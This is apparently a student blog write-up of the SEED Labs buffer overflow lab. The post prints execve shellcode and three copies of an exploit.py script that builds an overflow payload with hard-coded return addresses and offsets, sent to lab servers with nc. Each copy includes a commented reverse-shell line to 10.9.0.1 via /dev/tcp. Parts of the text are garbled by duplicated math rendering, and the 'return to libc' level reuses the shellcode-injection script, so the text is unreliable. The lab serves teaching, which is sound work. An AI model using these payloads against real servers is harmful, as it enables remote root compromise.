[laughing numbly - throwing rotten] [SEED Labs 2.0] buffer overflow attack

Posted by jpschwartz on Sun, 26 Sep 2021 06:46:51 +0200


The learning goal of this experiment is to let students practice the knowledge about buffer overflow vulnerability learned from the classroom, so as to obtain first-hand experience about the vulnerability. Buffer overflow refers to the situation that the program attempts to write data outside the pre allocated fixed length buffer boundary. Malicious users can use this vulnerability to change the flow control of the program and even execute arbitrary code О This vulnerability is caused by the mixing of data storage (such as buffer) and control storage (such as return address): overflow of data part will affect the control flow of the program, because overflow will change the return address.
This experiment will provide four different servers, each running a program with buffer overflow vulnerability. The experimental task is to develop a program to exploit the vulnerability and finally obtain the root permission on these servers. In addition to these attack experiments, several countermeasures against buffer overflow attacks will be tested. Students need to evaluate whether these plans are effective . and explain why.

level 0

1. Unzip and compile

make
make install
cd ..

Be careful to turn off random addresses

address randomization countermeasure

2. Start four servers

dcbuild
dcup

Enter the server code folder and execute the command

3. nc connects to the server successfully

Execute the command to start docker


4. Modify exploit.py

#!/usr/bin/python3
import sys

# 32-bit shellcode 
shellcode = (
   "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
   "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
   "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # You can modify the following command string to run any command.
   # You can even run multiple commands. When you change the string,
   # make sure that the position of the * at the end doesn't change.
   # The code above will change the byte at this position to zero,
   # so the command string ends here.
   # You can delete/add spaces, if needed, to keep the position the same.
   # The * in this line serves as the position marker         *
   "echo '(^_^) SUCCESS SUCCESS (^_^)'                        *"
 # "/bin/bash -i >/dev/tcp/10.9.0.1/7070 0<&1 2>&1            *"
   "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBB"   # Placeholder for argv[1] --> "-c"
   "CCCC"   # Placeholder for argv[2] --> the command string
   "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517)) 

##################################################################
# Put the shellcode somewhere in the payload
start = 517-len(shellcode)               # Change this number 
content[start:] = shellcode

# Decide the return address value 
# and put it somewhere in the payload
ret    = 0xffffd268 +16  # Change this number 
offset = 112+4           # Change this number 

# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little') 
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

Shellcode is the shellcode just found in shellcode_32.py
ret = ebp + n \text{ret}=\text{ebp}+nret=ebp+n
ebp is the ebp just obtained from echo hello. Because address randomization is turned off, it is the same every time
n nn as long as it is greater than or equal to 8 88
offset = \text{offset}=offset=0xffffd438− -−0xffffd3c8+4

level 2 buffer with unknown size

This task focuses on processing buffer s of unknown size.

The solution is simple: if you don't know offset, try it one by one.

$ echo hello | nc 10.9.0.6 9090
^C


$ ./exploit.py
$ cat badfile | nc 10.9.0.6 9090

  • ret should be greater than or equal to 0xffffd708+308, but it should be ensured that all shellcode s are in payload
  • offset is a value between 100-300

level 3

This task focuses on dealing with the buffer of 64 bit address. The experiment manual describes the problems encountered in this experiment as follows:
The solution is to ret adopt little endian and reuse \ 0x00 0x00 \ 0x00 x00 in the address.

$ echo hello | nc 10.9.0.7 9090
^C

# Use 4 for 32-bit address and 8 for 64-bit address

 content[offset:offset + 8] =(ret).to_bytes(8,byteorder='little') 
##################################################################
#!/usr/bin/python3
import sys

# 32-bit shellcode 
shellcode = (
   "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
   "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
   "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # You can modify the following command string to run any command.
   # You can even run multiple commands. When you change the string,
   # make sure that the position of the * at the end doesn't change.
   # The code above will change the byte at this position to zero,
   # so the command string ends here.
   # You can delete/add spaces, if needed, to keep the position the same.
   # The * in this line serves as the position marker         *
   "echo '(^_^) SUCCESS SUCCESS (^_^)'                        *"
 # "/bin/bash -i >/dev/tcp/10.9.0.1/7070 0<&1 2>&1            *"
   "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBB"   # Placeholder for argv[1] --> "-c"
   "CCCC"   # Placeholder for argv[2] --> the command string
   "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517)) 

##################################################################
# Put the shellcode somewhere in the payload
start = 517-len(shellcode)               # Change this number 
content[start:] = shellcode

# Decide the return address value 
# and put it somewhere in the payload
ret    =  0x00007fffffffe0d0  # Change this number 
offset = 216          # Change this number 

# Use 4 for 32-bit address and 8 for 64-bit address

 content[offset:offset + 8] =(ret).to_bytes(8,byteorder='little') 
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

level 4: execute return to libc attack

$ echo hello | nc 10.9.0.7 9090
^C
$ ./exploit.py
$ cat badfile | nc 10.9.0.8 9090

  • ret takes a larger value between 1184 11841184 and 1424 14241424


#!/usr/bin/python3
import sys

# 32-bit shellcode 
shellcode = (
   "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
   "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
   "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # You can modify the following command string to run any command.
   # You can even run multiple commands. When you change the string,
   # make sure that the position of the * at the end doesn't change.
   # The code above will change the byte at this position to zero,
   # so the command string ends here.
   # You can delete/add spaces, if needed, to keep the position the same.
   # The * in this line serves as the position marker         *
   "echo '(^_^) SUCCESS SUCCESS (^_^)'                        *"
 # "/bin/bash -i >/dev/tcp/10.9.0.1/7070 0<&1 2>&1            *"
   "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBB"   # Placeholder for argv[1] --> "-c"
   "CCCC"   # Placeholder for argv[2] --> the command string
   "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517)) 

##################################################################
# Put the shellcode somewhere in the payload
start = 517-len(shellcode)               # Change this number 
content[start:start + len(shellcode)] = shellcode

# Decide the return address value 
# and put it somewhere in the payload
ret    = 0x00007fffffffe1a0 + 1200  # Change this number 
offset = 104          # Change this number 

# Use 4 for 32-bit address and 8 for 64-bit address

content[offset:offset + 8]=(ret).to_bytes(8,byteorder='little') 
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

level 5

Turn on address randomization and execute the following commands twice each

 sudo sysctl -w kernel.randomize_va_space=2
 $ echo hello | nc 10.9.0.5 9090
^C
$ echo hello | nc 10.9.0.7 9090
^C



It can be seen that each address is different, which makes it difficult to attack.

Use the exploit.py code of the reverse shell in task 2 to execute the command. After 541758987 attempts, the permission is obtained successfully

level 6

 gcc -DBUF SIZE=100 -DSHOW_FP-z execstack -static -m32 -o stack-L1 stack.c

Enter the server code folder, remove - fno stack protector, compile stack.c, and take badfile as input. You can see that stack smashing is detected.

Enter the shellcode folder, remove - z execstack, compile call_shellcode.c and run it. You can see that the stack is no longer executable.

Topics: Docker